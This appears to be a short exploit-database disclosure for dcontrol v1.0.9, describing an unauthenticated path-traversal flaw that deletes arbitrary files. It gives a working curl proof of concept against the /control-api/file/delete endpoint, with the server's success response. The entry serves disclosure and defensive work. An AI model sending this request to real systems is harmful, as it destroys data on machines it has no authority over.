Code
# Exploit Title: dcontrol v1.0.9 - Unauthenticated Arbitrary File Delete
    # Date: 2026-04-18
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://github.com/dhjz/dcontrol
    # Software Link:
    https://github.com/dhjz/dcontrol/releases/download/1.0.9/dcontrol.exe
    # Version: 1.0.9
    # Tested on: Windows 10, Windows 11
    
    
    # Description:
    dcontrol v1.0.9 is vulnerable to unauthenticated arbitrary file deletion via
    path traversal in the /control-api/file/delete endpoint. The application
    fails
    to properly sanitize the 'name' parameter, allowing an attacker to use
    directory
    traversal sequences (../) to delete arbitrary files from the target system.
    
    
    # Proof of Concept:
    
    
    curl "
    http://TARGET_IP:666/control-api/file/delete?name=../../../../../../Windows/Temp/test.txt
    "
    
    Response:
    {"code":200,"msg":"操作成功","data":"../../../../../../Windows/Temp/test.txt"}
